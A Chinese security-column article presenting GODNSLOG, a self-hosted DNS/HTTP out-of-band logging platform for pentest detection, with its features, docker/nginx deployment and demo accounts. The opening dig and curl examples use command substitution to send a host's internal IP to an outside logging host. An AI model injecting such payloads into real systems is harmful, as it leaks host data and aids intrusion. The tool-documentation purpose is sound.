dig `/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`.ktqlujjpgc4j.godns.vip
系统生成域名为{$variable}.ktqlujjpgc4j.godns.vip,其中ktqlujjpgc4j是用户唯一shortId,{$variable}为用户自定义变量
2. HTTPLOG
curl http://100.100.100.100/log/ktqlujjpgc4j/`/sbin/ifconfig eth0|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"`
除了只能用DNSLOG检测的情况,HTTPLOG都比DNSLOG好用一些,在内网环境中配合主动推送可以让检出更有效率,代码也相对简单一些。
3. DNS Rebinding
注:一些本地DNS即时收到TTL=0的DNS也依然会缓存,比如说腾讯云会缓存1分钟
4. 多用户
两级用户,内置用户为管理员,管理员可以新建、修改、删除普通用户。普通用户拥有除用户管理功能之外的所有功能
5. 主动推送
6. 支持API调用
传统的pull api模式,客户端通过token+api的方式查询DNS/HTTP记录,这里我改进了一下,一般的DNSLOG平台token直接在URL中传递不是很安全,稍微改进了一下,用hash校验替代了token校验。GODNSLOG将支持精准查询和模糊查询两种方式
docker一键部署,推荐http前面套个nginx可以套SSL证书
需求:一个域名、用户独立IP的主机.
注:如果在内网环境中使用,域名也不是一定要注册的,在内网DNS中配置一个私有域名即可
2. 安装docker环境,并启动实例
curl -s https://get.docker.com/ | sudo sh
systemctl enable docker
systemctl start docker
docker pull sort/godnslog:version-0.3.0
docker run -d --name=godnslog -p8080:8080 -p53:53/udp sort/godnslog:version-0.3.0 -domain=godnslog.com -4 100.100.100.100
godnslog默认使用sqlite数据库,考虑到性能建议使用外部mysql.
命令行参数可以用以下命令查看
docker run --rm --it sort/godnslog:version-0.3.0 --help
注: 此处version-0.3.0为当前版本,后续可能会改动,请使用最新版本
mysql DSN格式: https://github.com/go-sql-driver/mysql/#dsn-data-source-name
sqlite DSN格式: https://github.com/mattn/go-sqlite3#dsn-examples
关于持久化,使用外部mysql时数据就是持久化的,sqlite要支持持久化需要通过docker -v参数将宿主机上的文件映射为sqlite数据库文件,否则重启docker后数据会丢失
3. 配置
3.1 安装nginx
yum install nginx
systemctl start nginx
systemctl enable nginx
3.2 配置并重启nginx
server {
listen 80 default_server;
server_name www.godnslog.com *.godnslog.com; # Load configuration files for the default server block.
access_log /var/log/nginx/www.godnslog.com.access.log;
error_log /var/log/nginx/www.godnslog.com.error.log;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
location / {
proxy_pass http://127.0.0.1:8080;
}
}
3.3 配置防火墙开放UDP:53,TCP:80端口
3.4 登录配置用户
演示网站: https://www.godns.vip
测试账号:
test1/test123456
test2/test123456
test3/test123456
test4/test123456
test5/test123456
test6/test123456
test7/test123456
test8/test123456
test9/test123456
test10/test123456
不支持多用户共用一个帐号,后登录会踢掉前面的登录的用户
注意: 演示网站仅提供演示功能,不要用在实际环境,随时可能重启升级!
GODNSLOG设计实现很大程度借鉴了ceye.io,关于DNSLOG的技巧http://ceye.io/payloads
页面有详细的描述,这里不再赘述。
如果你对这个项目感兴趣;如果你在使用体验中遇到问题需要反馈交流;如果你想吐槽我糟糕的设计、编码;如果你想反馈BUG;如果你对DNSLOG有些新的想法,想在GODNSLOG上实现;欢迎关注我们的公众号gh_d110440c4890,在公众号后台跟我交流。如果想吐槽的人多了,我会考虑建一个交流群,让大家组团吐槽
原文链接: https://mp.weixin.qq.com/s/SVrEAgeqwtj6JZSfcspxXA
本文作者:早睡的程序猿
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/140063.html